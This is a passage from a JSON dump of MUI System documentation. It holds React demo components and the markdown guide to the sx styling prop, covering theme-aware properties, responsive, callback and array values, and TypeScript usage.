mind that the work must be directly related to MUI System's products—we don't accept general web development or React work.\n\nOur contracting price starts at $200/hour or $1,500/day.\n\n[Send us an email](mailto:custom-work@mui.com) summarizing of your needs, and we'll let you know whether we can help (or else try to suggest alternatives).\n\n## Tidelift subscription\n\nWe and the maintainers of thousands of other packages work with Tidelift to deliver one enterprise subscription that covers all of the open-source you use.\n\nIf you want the flexibility of open-source and the confidence of commercial-grade software, this is worth looking at. The Tidelift Subscription manages your dependencies for you.\n\nThe end result? All of the capabilities you expect from commercial-grade software, for the full breadth of open-source you use.\nThat means less time grappling with esoteric open-source trivia, and more time building your own applications—and your business.\n\n<a\n  data-ga-event-category=\"support\"\n  data-ga-event-action=\"tidelift\"\n  href=\"https://tidelift.com/\">\nLearn more about Tidelift</a>\nand\n<a\n  data-ga-event-category=\"support\"\n  data-ga-event-action=\"tidelift\"\n  href=\"https://www.sonarsource.com/tidelift-request-demo/\">request a demo today</a>.\n"
  },
  {
    "path": "docs/data/system/getting-started/the-sx-prop/DynamicValues.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\n\nexport default function DynamicValues() {\n  const [color, setColor] = React.useState('#007fff');\n\n  return (\n    <Stack spacing={1} sx={{ alignItems: 'center' }}>\n      <Typography\n        component=\"label\"\n        variant=\"body2\"\n        sx={{ display: 'inline-flex', alignItems: 'center', gap: 1 }}\n      >\n        Pick a color to see a live preview\n        <input\n          type=\"color\"\n          value={color}\n          onChange={(event) => setColor(event.target.value)}\n        />\n      </Typography>\n      <Box\n        component=\"div\"\n        sx={{\n          display: 'flex',\n          justifyContent: 'center',\n          alignItems: 'center',\n          width: 75,\n          height: 75,\n          borderRadius: 2,\n          backgroundColor: 'var(--bg)',\n        }}\n        style={{ '--bg': color }}\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/the-sx-prop/DynamicValues.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\n\nexport default function DynamicValues() {\n  const [color, setColor] = React.useState('#007fff');\n\n  return (\n    <Stack spacing={1} sx={{ alignItems: 'center' }}>\n      <Typography\n        component=\"label\"\n        variant=\"body2\"\n        sx={{ display: 'inline-flex', alignItems: 'center', gap: 1 }}\n      >\n        Pick a color to see a live preview\n        <input\n          type=\"color\"\n          value={color}\n          onChange={(event) => setColor(event.target.value)}\n        />\n      </Typography>\n      <Box\n        component=\"div\"\n        sx={{\n          display: 'flex',\n          justifyContent: 'center',\n          alignItems: 'center',\n          width: 75,\n          height: 75,\n          borderRadius: 2,\n          backgroundColor: 'var(--bg)',\n        }}\n        style={{ '--bg': color } as React.CSSProperties}\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/the-sx-prop/Example.js",
    "content": "import { Box, ThemeProvider, createTheme } from '@mui/system';\n\nconst theme = createTheme({\n  palette: {\n    background: {\n      paper: '#fff',\n    },\n    text: {\n      primary: '#173A5E',\n      secondary: '#46505A',\n    },\n    action: {\n      active: '#001E3C',\n    },\n    success: {\n      dark: '#009688',\n    },\n  },\n});\n\nexport default function Example() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Box\n        sx={{\n          bgcolor: 'background.paper',\n          boxShadow: 1,\n          borderRadius: 2,\n          p: 2,\n          minWidth: 300,\n        }}\n      >\n        <Box sx={{ color: 'text.secondary' }}>Sessions</Box>\n        <Box sx={{ color: 'text.primary', fontSize: 34, fontWeight: 'medium' }}>\n          98.3 K\n        </Box>\n        <Box\n          sx={{\n            color: 'success.dark',\n            display: 'inline',\n            fontWeight: 'bold',\n            mx: 0.5,\n            fontSize: 14,\n          }}\n        >\n          +18.77%\n        </Box>\n        <Box sx={{ color: 'text.secondary', display: 'inline', fontSize: 14 }}>\n          vs. last week\n        </Box>\n      </Box>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/the-sx-prop/Example.tsx",
    "content": "import { Box, ThemeProvider, createTheme } from '@mui/system';\n\nconst theme = createTheme({\n  palette: {\n    background: {\n      paper: '#fff',\n    },\n    text: {\n      primary: '#173A5E',\n      secondary: '#46505A',\n    },\n    action: {\n      active: '#001E3C',\n    },\n    success: {\n      dark: '#009688',\n    },\n  },\n});\n\nexport default function Example() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Box\n        sx={{\n          bgcolor: 'background.paper',\n          boxShadow: 1,\n          borderRadius: 2,\n          p: 2,\n          minWidth: 300,\n        }}\n      >\n        <Box sx={{ color: 'text.secondary' }}>Sessions</Box>\n        <Box sx={{ color: 'text.primary', fontSize: 34, fontWeight: 'medium' }}>\n          98.3 K\n        </Box>\n        <Box\n          sx={{\n            color: 'success.dark',\n            display: 'inline',\n            fontWeight: 'bold',\n            mx: 0.5,\n            fontSize: 14,\n          }}\n        >\n          +18.77%\n        </Box>\n        <Box sx={{ color: 'text.secondary', display: 'inline', fontSize: 14 }}>\n          vs. last week\n        </Box>\n      </Box>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/the-sx-prop/PassingSxProp.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport ListItem from '@mui/material/ListItem';\nimport FormLabel from '@mui/material/FormLabel';\n\nfunction ListHeader({ sx = [], children }) {\n  return (\n    <ListItem\n      sx={[\n        {\n          width: 'auto',\n          textDecoration: 'underline',\n        },\n        // You cannot spread `sx` directly because `SxProps` (typeof sx) can be an array.\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n    >\n      <FormLabel sx={{ color: 'inherit' }}>{children}</FormLabel>\n    </ListItem>\n  );\n}\n\nListHeader.propTypes = {\n  children: PropTypes.node,\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default function PassingSxProp() {\n  return (\n    <ListHeader\n      sx={(theme) => ({\n        color: 'info.main',\n        ...theme.typography.overline,\n      })}\n    >\n      Header\n    </ListHeader>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/the-sx-prop/PassingSxProp.tsx",
    "content": "import * as React from 'react';\nimport ListItem from '@mui/material/ListItem';\nimport FormLabel from '@mui/material/FormLabel';\nimport { SxProps, Theme } from '@mui/material/styles';\n\ninterface ListHeaderProps {\n  children: React.ReactNode;\n  sx?: SxProps<Theme>;\n}\n\nfunction ListHeader({ sx = [], children }: ListHeaderProps) {\n  return (\n    <ListItem\n      sx={[\n        {\n          width: 'auto',\n          textDecoration: 'underline',\n        },\n        // You cannot spread `sx` directly because `SxProps` (typeof sx) can be an array.\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n    >\n      <FormLabel sx={{ color: 'inherit' }}>{children}</FormLabel>\n    </ListItem>\n  );\n}\n\nexport default function PassingSxProp() {\n  return (\n    <ListHeader\n      sx={(theme) => ({\n        color: 'info.main',\n        ...theme.typography.overline,\n      })}\n    >\n      Header\n    </ListHeader>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/the-sx-prop/PassingSxProp.tsx.preview",
    "content": "<ListHeader\n  sx={(theme) => ({\n    color: 'info.main',\n    ...theme.typography.overline,\n  })}\n>\n  Header\n</ListHeader>"
  },
  {
    "path": "docs/data/system/getting-started/the-sx-prop/the-sx-prop.md",
    "content": "# The sx prop\n\n<p class=\"description\">The sx prop is a shortcut for defining custom styles that have access to the theme.</p>\n\nThe `sx` prop lets you work with a superset of CSS that packages all of the style functions exposed in `@mui/system`.\nYou can specify any valid CSS using this prop, as well as many _theme-aware_ properties that are unique to MUI System.\n\n## Basic example\n\nThe following demo illustrates how to work with the `sx` prop.\nNote that not all of the values are valid CSS properties—that's because the `sx` keys are mapped to specific properties of the theme.\nThe rest of this document explores this concept in more detail.\n\n{{\"demo\": \"Example.js\", \"bg\": true, \"defaultCodeOpen\": true}}\n\n## Theme-aware properties\n\n### Borders\n\nThe `border` property can only receive a number as a value.\nIt creates a solid black border using the number to define the width in pixels:\n\n```jsx\n<Box sx={{ border: 1 }} />\n// equivalent to border: '1px solid black'\n```\n\nThe `borderColor` property can receive a string, which represents the path in `theme.palette`:\n\n```jsx\n<Box sx={{ borderColor: 'primary.main' }} />\n// equivalent to borderColor: theme => theme.palette.primary.main\n```\n\nThe `borderRadius` property multiplies the value it receives by the `theme.shape.borderRadius` value (the default for this value is `4px`).\n\n```jsx\n<Box sx={{ borderRadius: 2 }} />\n// equivalent to borderRadius: theme => 2 * theme.shape.borderRadius\n```\n\nRead more on the [Borders page](/system/borders/).\n\n### Display\n\nThe `displayPrint` property allows you to specify a CSS `display` value that will only be applied when printing:\n\n```jsx\n<Box sx={{ displayPrint: 'none' }} /> // equivalent to '@media print': { display: 'none' }\n```\n\nRead more on the [Display page](/system/display/).\n\n### Grid\n\nThe CSS Grid properties `gap`, `rowGap` and `columnGap` multiply the values they receive by the `theme.spacing` value (the default for the value is `8px`).\n\n```jsx\n<Box sx={{ gap: 2 }} />\n// equivalent to gap: theme => theme.spacing(2)\n```\n\nRead more on the [Grid page](/system/grid/).\n\n### Palette\n\nThe `color` and `backgroundColor` properties can receive a string, which represents the path in `theme.palette`:\n\n```jsx\n<Box sx={{ color: 'primary.main' }} />\n// equivalent to color: theme => theme.palette.primary.main\n```\n\nThe `backgroundColor` property is also available through its alias `bgcolor`:\n\n```jsx\n<Box sx={{ bgcolor: 'primary.main' }} />\n// equivalent to backgroundColor: theme => theme.palette.primary.main\n```\n\nRead more on the [Palette page](/system/palette/).\n\n### Positions\n\nThe `zIndex` property maps its value to the `theme.zIndex` value:\n\n```jsx\n<Box sx={{ zIndex: 'tooltip' }} />\n// equivalent to zIndex: theme => theme.zIndex.tooltip\n```\n\nRead more on the [Positions page](/system/positions/).\n\n### Shadows\n\nThe `boxShadow` property maps its value to the `theme.shadows` value:\n\n```jsx\n<Box sx={{ boxShadow: 1 }} />\n// equivalent to boxShadow: theme => theme.shadows[1]\n```\n\nRead more on the [Shadows page](/system/shadows/).\n\n### Sizing\n\nThe sizing properties `width`, `height`, `minHeight`, `maxHeight`, `minWidth`, and `maxWidth` use the following custom transform function for the value:\n\n```js\nfunction transform(value) {\n  return value <= 1 && value !== 0 ? `${value * 100}%` : value;\n}\n```\n\nIf the value is between (0, 1], it's converted to a percentage.\nOtherwise, it is directly set on the CSS property:\n\n```jsx\n<Box sx={{ width: 1/2 }} /> // equivalent to width: '50%'\n<Box sx={{ width: 20 }} /> // equivalent to width: '20px'\n```\n\nRead more on the [Sizing page](/system/sizing/).\n\n### Spacing\n\nThe spacing properties `margin`, `padding`, and the corresponding longhand properties multiply the values they receive by the `theme.spacing` value (the default for the value is `8px`):\n\n```jsx\n<Box sx={{ margin: 2 }} />\n// equivalent to margin: theme => theme.spacing(2)\n```\n\nThe following aliases are available for the spacing properties:\n\n| Prop | CSS property                    |\n| :--- | :------------------------------ |\n| `m`  | `margin`                        |\n| `mt` | `margin-top`                    |\n| `mr` | `margin-right`                  |\n| `mb` | `margin-bottom`                 |\n| `ml` | `margin-left`                   |\n| `mx` | `margin-left`, `margin-right`   |\n| `my` | `margin-top`, `margin-bottom`   |\n| `p`  | `padding`                       |\n| `pt` | `padding-top`                   |\n| `pr` | `padding-right`                 |\n| `pb` | `padding-bottom`                |\n| `pl` | `padding-left`                  |\n| `px` | `padding-left`, `padding-right` |\n| `py` | `padding-top`, `padding-bottom` |\n\nRead more on the [Spacing page](/system/spacing/).\n\n### Typography\n\nThe `fontFamily`, `fontSize`, `fontStyle`, `fontWeight` properties map their value to the `theme.typography` value:\n\n```jsx\n<Box sx={{ fontWeight: 'fontWeightLight' }} />\n// equivalent to fontWeight: theme.typography.fontWeightLight\n```\n\nThe same can be achieved by omitting the CSS property prefix `fontWeight`:\n\n```jsx\n<Box sx={{ fontWeight: 'light' }} />\n// equivalent to fontWeight: theme.typography.fontWeightLight\n```\n\nThere is an additional `typography` prop available, which sets all values defined in the specific `theme.typography` variant:\n\n```jsx\n<Box sx={{ typography: 'body1' }} />\n// equivalent to { ...theme.typography.body1 }\n```\n\nRead more on the [Typography page](/system/typography/).\n\n## Responsive values\n\nAll properties associated with the `sx` prop also support responsive values for specific breakpoints and container queries.\n\nRead more on the [Usage page—Responsive values](/system/getting-started/usage/#responsive-values).\n\n## Callback values\n\nUse a callback when you need to get theme values that are objects:\n\n```jsx\n<Box\n  sx={(theme) => ({\n    ...theme.typography.body,\n    color: theme.palette.primary.main,\n  })}\n/>\n```\n\n:::info\nCallback as a value has been deprecated.\nPlease use the callback as the entire value instead.\n\n```diff\n- sx={{ height: (theme) => theme.spacing(10) }}\n+ sx={(theme) => ({ height: theme.spacing(10) })}\n```\n\n<br />\nYou can migrate the code using our codemod:\n\n```bash\nnpx @mui/codemod@latest v6.0.0/sx-prop path/to/file-or-folder\n```\n\n:::\n\nIn TypeScript, to use custom theme properties with the `sx` prop callback, extend the `Theme` type from the `@mui/system` library using [module augmentation](https://www.typescriptlang.org/docs/handbook/declaration-merging.html#module-augmentation):\n\n```tsx\nimport * as React from 'react';\nimport Box from '@mui/material/Box';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport { orange } from '@mui/material/colors';\n\ndeclare module '@mui/system' {\n  interface Theme {\n    status: {\n      warning: string;\n    };\n  }\n}\n\nconst theme = createTheme({\n  status: {\n    warning: orange[500],\n  },\n});\n\nexport default function App() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Box\n        sx={(theme) => ({\n          bgcolor: theme.status.warning,\n        })}\n      >\n        Example\n      </Box>\n    </ThemeProvider>\n  );\n}\n```\n\n## Array values\n\nArray types are useful when you want to partially override some styles in the former index:\n\n```jsx\n<Box\n  sx={[\n    {\n      '&:hover': {\n        color: 'red',\n        backgroundColor: 'white',\n      },\n    },\n    foo && {\n      '&:hover': { backgroundColor: 'grey' },\n    },\n    bar && {\n      '&:hover': { backgroundColor: 'yellow' },\n    },\n  ]}\n/>\n```\n\nWhen you hover on this element, `color: red; backgroundColor: white;` is applied.\n\nIf `foo: true`, then `color: red; backgroundColor: grey;` is applied when hovering.\n\nIf `bar: true`, then `color: red; backgroundColor: yellow;` is applied when hovering regardless of `foo` value, because the higher index of the array has higher specificity.\n\n:::info\nEach index can be an object or a callback.\n:::\n\n```jsx\n<Box\n  sx={[\n    { mr: 2, color: 'red' },\n    (theme) => ({\n      '&:hover': {\n        color: theme.palette.primary.main,\n      },\n    }),\n  ]}\n/>\n```\n\n## Passing the sx prop\n\nIf you want to receive the `sx` prop from a custom component and pass it down to another MUI System, we recommend this approach:\n\n{{\"demo\": \"PassingSxProp.js\", \"bg\": true, \"defaultCodeOpen\": true}}\n\n## Dynamic values\n\nFor highly dynamic CSS values, we recommend using inline CSS variables instead of passing an object with varying values to the `sx` prop on each render.\nThis approach avoids inserting unnecessary `style` tags into the DOM, which prevents potential performance issues when dealing with CSS properties that can hold a wide range of values that change frequently—for example, a color picker with live preview.\n\n:::info\nIf you're having problems with your Content Security Policy while using inline styles with the `style` attribute, make sure you've enabled the [`style-src-attr` directive](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/style-src-attr).\nVisit the [Content Security Policy guide](/material-ui/guides/content-security-policy/) for configuration details.\n:::\n\n{{\"demo\": \"DynamicValues.js\", \"bg\": true}}\n\n## TypeScript usage\n\nA frequent source of confusion with the `sx` prop is TypeScript's [type widening](https://mariusschulz.com/blog/literal-type-widening-in-typescript), which causes this example not to work as expected:\n\n```ts\nconst style = {\n  flexDirection: 'column',\n};\n\nexport default function App() {\n  return <Button sx={style}>Example</Button>;\n}\n\n// Type '{ flexDirection: string; }' is not assignable to type 'SxProps<Theme> | undefined'\n// Type '{ flexDirection: string; }' is not assignable to type 'CSSSelectorObject<Theme>'\n//   Property 'flexDirection' is incompatible with index signature\n//     Type 'string' is not assignable to type 'SystemStyleObject<Theme>'\n```\n\nThe problem is that the type of the `flexDirection` prop is inferred as `string`, which is too wide.\nTo fix this, you can cast the object/function passed to the `sx` prop to `const`:\n\n```ts\nconst style = {\n  flexDirection: 'column',\n} as const;\n\nexport default function App() {\n  return <Button sx={style}>Example</Button>;\n}\n```\n\nAlternatively, you can pass the style object directly to the `sx` prop:\n\n```ts\nexport default function App() {\n  return <Button sx={{ flexDirection: 'column' }}>Example</Button>;\n}\n```\n\n## Performance\n\nTo learn more about the performance tradeoffs of the `sx` prop, check out [Usage–Performance tradeoffs](/system/getting-started/usage/#performance-tradeoffs).\n"
  },
  {
    "path": "docs/data/system/getting-started/usage/BreakpointsAsArray.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function BreakpointsAsArray() {\n  return (\n    <div>\n      <Box sx={{ width: [100, 200, 300] }}>This box has a responsive width.</Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/usage/BreakpointsAsArray.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function BreakpointsAsArray() {\n  return (\n    <div>\n      <Box sx={{ width: [100, 200, 300] }}>This box has a responsive width.</Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/usage/BreakpointsAsArray.tsx.preview",
    "content": "<Box sx={{ width: [100, 200, 300] }}>This box has a responsive width.</Box>"
  },
  {
    "path": "docs/data/system/getting-started/usage/BreakpointsAsObject.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function BreakpointsAsObject() {\n  return (\n    <div>\n      <Box\n        sx={{\n          width: {\n            xs: 100, // theme.breakpoints.up('xs')\n            sm: 200, // theme.breakpoints.up('sm')\n            md: 300, // theme.breakpoints.up('md')\n            lg: 400, // theme.breakpoints.up('lg')\n            xl: 500, // theme.breakpoints.up('xl')\n          },\n        }}\n      >\n        This box has a responsive width.\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/usage/BreakpointsAsObject.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function BreakpointsAsObject() {\n  return (\n    <div>\n      <Box\n        sx={{\n          width: {\n            xs: 100, // theme.breakpoints.up('xs')\n            sm: 200, // theme.breakpoints.up('sm')\n            md: 300, // theme.breakpoints.up('md')\n            lg: 400, // theme.breakpoints.up('lg')\n            xl: 500, // theme.breakpoints.up('xl')\n          },\n        }}\n      >\n        This box has a responsive width.\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/usage/BreakpointsAsObject.tsx.preview",
    "content": "<Box\n  sx={{\n    width: {\n      xs: 100, // theme.breakpoints.up('xs')\n      sm: 200, // theme.breakpoints.up('sm')\n      md: 300, // theme.breakpoints.up('md')\n      lg: 400, // theme.breakpoints.up('lg')\n      xl: 500, // theme.breakpoints.up('xl')\n    },\n  }}\n>\n  This box has a responsive width.\n</Box>"
  },
  {
    "path": "docs/data/system/getting-started/usage/ContainerQueries.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function ContainerQueries() {\n  return (\n    <Box\n      sx={{\n        overflow: 'auto',\n        resize: 'horizontal',\n        width: 400,\n        maxWidth: '80%',\n        containerType: 'inline-size',\n      }}\n    >\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: { xs: 'column', '@350': 'row' },\n          bgcolor: 'background.default',\n          border: '1px solid',\n          borderColor: 'divider',\n          borderRadius: 2,\n          overflow: 'clip',\n        }}\n      >\n        <Box\n          component=\"img\"\n          sx={{\n            alignSelf: 'stretch',\n            aspectRatio: '16 / 9',\n            objectFit: 'cover',\n            width: '100%',\n            maxWidth: { '@350': '36%', '@500': 240 },\n          }}\n          alt=\"The house from the offer.\"\n          src=\"https://images.unsplash.com/photo-1512917774080-9991f1c4c750?auto=format&w=350&dpr=2\"\n        />\n        <Box\n          sx={{\n            p: { xs: 2, '@500': 3 },\n            display: 'flex',\n            flexDirection: 'column',\n            gap: 1,\n          }}\n        >\n          <div>\n            <Box\n              component=\"span\"\n              sx={{ fontSize: '0.875rem', color: 'text.secondary' }}\n            >\n              123 Main St, Phoenix AZ\n            </Box>\n            <Box\n              sx={{\n                color: 'primary.main',\n                fontSize: '1.125rem',\n                fontWeight: 'bold',\n              }}\n            >\n              $280,000 — $310,000\n            </Box>\n          </div>\n          <Box\n            sx={{\n              width: 'fit-content',\n              py: 0.5,\n              px: 1,\n              backgroundColor: 'rgba(46, 125, 50, 0.1)',\n              borderRadius: 10,\n              display: 'flex',\n              alignItems: 'center',\n              gap: 0.5,\n              border: '1px solid',\n              borderColor: 'rgba(46, 125, 50, 0.1)',\n              fontSize: '0.7rem',\n              fontWeight: 'bold',\n              letterSpacing: '.05rem',\n              textTransform: 'uppercase',\n              color: 'success.main',\n            }}\n          >\n            Confidence score: 85%\n          </Box>\n        </Box>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/usage/ContainerQueries.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function ContainerQueries() {\n  return (\n    <Box\n      sx={{\n        overflow: 'auto',\n        resize: 'horizontal',\n        width: 400,\n        maxWidth: '80%',\n        containerType: 'inline-size',\n      }}\n    >\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: { xs: 'column', '@350': 'row' },\n          bgcolor: 'background.default',\n          border: '1px solid',\n          borderColor: 'divider',\n          borderRadius: 2,\n          overflow: 'clip',\n        }}\n      >\n        <Box\n          component=\"img\"\n          sx={{\n            alignSelf: 'stretch',\n            aspectRatio: '16 / 9',\n            objectFit: 'cover',\n            width: '100%',\n            maxWidth: { '@350': '36%', '@500': 240 },\n          }}\n          alt=\"The house from the offer.\"\n          src=\"https://images.unsplash.com/photo-1512917774080-9991f1c4c750?auto=format&w=350&dpr=2\"\n        />\n        <Box\n          sx={{\n            p: { xs: 2, '@500': 3 },\n            display: 'flex',\n            flexDirection: 'column',\n            gap: 1,\n          }}\n        >\n          <div>\n            <Box\n              component=\"span\"\n              sx={{ fontSize: '0.875rem', color: 'text.secondary' }}\n            >\n              123 Main St, Phoenix AZ\n            </Box>\n            <Box\n              sx={{\n                color: 'primary.main',\n                fontSize: '1.125rem',\n                fontWeight: 'bold',\n              }}\n            >\n              $280,000 — $310,000\n            </Box>\n          </div>\n          <Box\n            sx={{\n              width: 'fit-content',\n              py: 0.5,\n              px: 1,\n              backgroundColor: 'rgba(46, 125, 50, 0.1)',\n              borderRadius: 10,\n              display: 'flex',\n              alignItems: 'center',\n              gap: 0.5,\n              border: '1px solid',\n              borderColor: 'rgba(46, 125, 50, 0.1)',\n              fontSize: '0.7rem',\n              fontWeight: 'bold',\n              letterSpacing: '.05rem',\n              textTransform: 'uppercase',\n              color: 'success.main',\n            }}\n          >\n            Confidence score: 85%\n          </Box>\n        </Box>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/usage/Demo.js",
    "content": "import Box from '@mui/system/Box';\n\nexport default function Demo() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexDirection: { xs: 'column', md: 'row' },\n        alignItems: 'center',\n        bgcolor: 'background.default',\n        border: '1px solid',\n        borderColor: 'divider',\n        borderRadius: 2,\n        overflow: 'clip',\n      }}\n    >\n      <Box\n        component=\"img\"\n        sx={{\n          height: 233,\n          width: 350,\n          maxHeight: { xs: 233, md: 167 },\n          maxWidth: { xs: 350, md: 250 },\n        }}\n        alt=\"The house from the offer.\"\n        src=\"https://images.unsplash.com/photo-1512917774080-9991f1c4c750?auto=format&w=350&dpr=2\"\n      />\n      <Box\n        sx={{\n          p: 3,\n          minWidth: { md: 350 },\n          display: 'flex',\n          flexDirection: 'column',\n          alignItems: { xs: 'center', md: 'flex-start' },\n          gap: 0.5,\n        }}\n      >\n        <Box component=\"span\" sx={{ fontSize: '0.875rem', color: 'text.secondary' }}>\n          123 Main St, Phoenix AZ\n        </Box>\n        <Box\n          component=\"span\"\n          sx={{ color: 'primary.main', fontSize: '1.5rem', fontWeight: 'bold' }}\n        >\n          $280,000 — $310,000\n        </Box>\n        <Box\n          sx={{\n            py: 0.5,\n            px: 1,\n            backgroundColor: 'rgba(46, 125, 50, 0.1)',\n            borderRadius: 10,\n            display: 'flex',\n            alignItems: 'center',\n            gap: 0.5,\n            border: '1px solid',\n            borderColor: 'rgba(46, 125, 50, 0.1)',\n            fontSize: '0.7rem',\n            fontWeight: 'bold',\n            letterSpacing: '.05rem',\n            textTransform: 'uppercase',\n            color: 'success.main',\n          }}\n        >\n          Confidence score: 85%\n        </Box>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/usage/Demo.tsx",
    "content": "import Box from '@mui/system/Box';\n\nexport default function Demo() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexDirection: { xs: 'column', md: 'row' },\n        alignItems: 'center',\n        bgcolor: 'background.default',\n        border: '1px solid',\n        borderColor: 'divider',\n        borderRadius: 2,\n        overflow: 'clip',\n      }}\n    >\n      <Box\n        component=\"img\"\n        sx={{\n          height: 233,\n          width: 350,\n          maxHeight: { xs: 233, md: 167 },\n          maxWidth: { xs: 350, md: 250 },\n        }}\n        alt=\"The house from the offer.\"\n        src=\"https://images.unsplash.com/photo-1512917774080-9991f1c4c750?auto=format&w=350&dpr=2\"\n      />\n      <Box\n        sx={{\n          p: 3,\n          minWidth: { md: 350 },\n          display: 'flex',\n          flexDirection: 'column',\n          alignItems: { xs: 'center', md: 'flex-start' },\n          gap: 0.5,\n        }}\n      >\n        <Box component=\"span\" sx={{ fontSize: '0.875rem', color: 'text.secondary' }}>\n          123 Main St, Phoenix AZ\n        </Box>\n        <Box\n          component=\"span\"\n          sx={{ color: 'primary.main', fontSize: '1.5rem', fontWeight: 'bold' }}\n        >\n          $280,000 — $310,000\n        </Box>\n        <Box\n          sx={{\n            py: 0.5,\n            px: 1,\n            backgroundColor: 'rgba(46, 125, 50, 0.1)',\n            borderRadius: 10,\n            display: 'flex',\n            alignItems: 'center',\n            gap: 0.5,\n            border: '1px solid',\n            borderColor: 'rgba(46, 125, 50, 0.1)',\n            fontSize: '0.7rem',\n            fontWeight: 'bold',\n            letterSpacing: '.05rem',\n            textTransform: 'uppercase',\n            color: 'success.main',\n          }}\n        >\n          Confidence score: 85%\n        </Box>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/usage/SxProp.tsx.preview",
    "content": "<NoSsr>\n  <ThemeProvider theme={theme}>\n    <Box color=\"white\" sx={{ bgcolor: 'palevioletred', p: 1, textTransform: 'uppercase' }}>\n      CssProp\n    </Box>\n  </ThemeProvider>\n</NoSsr>"
  },
  {
    "path": "docs/data/system/getting-started/usage/ValueAsFunction.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function ValueAsFunction() {\n  return (\n    <div>\n      <Box\n        sx={{\n          p: 1,\n          border: 1,\n          borderColor: (theme) => theme.palette.primary.main,\n        }}\n      >\n        Border color with theme value.\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/usage/ValueAsFunction.tsx",
    "content": "import Box from '@mui/material/Box';\nimport { Theme } from '@mui/material/styles';\n\nexport default function ValueAsFunction() {\n  return (\n    <div>\n      <Box\n        sx={{\n          p: 1,\n          border: 1,\n          borderColor: (theme: Theme) => theme.palette.primary.main,\n        }}\n      >\n        Border color with theme value.\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/usage/ValueAsFunction.tsx.preview",
    "content": "<Box\n  sx={{\n    p: 1,\n    border: 1,\n    borderColor: (theme: Theme) => theme.palette.primary.main,\n  }}\n>\n  Border color with theme value.\n</Box>"
  },
  {
    "path": "docs/data/system/getting-started/usage/Why.js",
    "content": "import TrendingUpIcon from '@mui/icons-material/TrendingUp';\nimport Box from '@mui/system/Box';\n\nexport default function Why() {\n  return (\n    <Box\n      sx={{\n        p: 2,\n        minWidth: 300,\n        border: '1px solid',\n        borderColor: 'divider',\n        bgcolor: 'background.default',\n        borderRadius: 2,\n      }}\n    >\n      <Box sx={{ color: 'text.secondary' }}>Sessions</Box>\n      <Box\n        sx={{ color: 'text.primary', fontSize: '2.125rem', fontWeight: 'medium' }}\n      >\n        98.3 K\n      </Box>\n      <Box\n        component={TrendingUpIcon}\n        sx={{ color: 'success.dark', fontSize: '1rem', verticalAlign: 'sub' }}\n      />\n      <Box\n        sx={{\n          display: 'inline',\n          fontSize: '0.875rem',\n          fontWeight: 'bold',\n          color: 'success.dark',\n          mx: 0.5,\n        }}\n      >\n        18.7%\n      </Box>\n      <Box sx={{ color: 'text.secondary', display: 'inline', fontSize: '0.875rem' }}>\n        vs. last week\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/usage/Why.tsx",
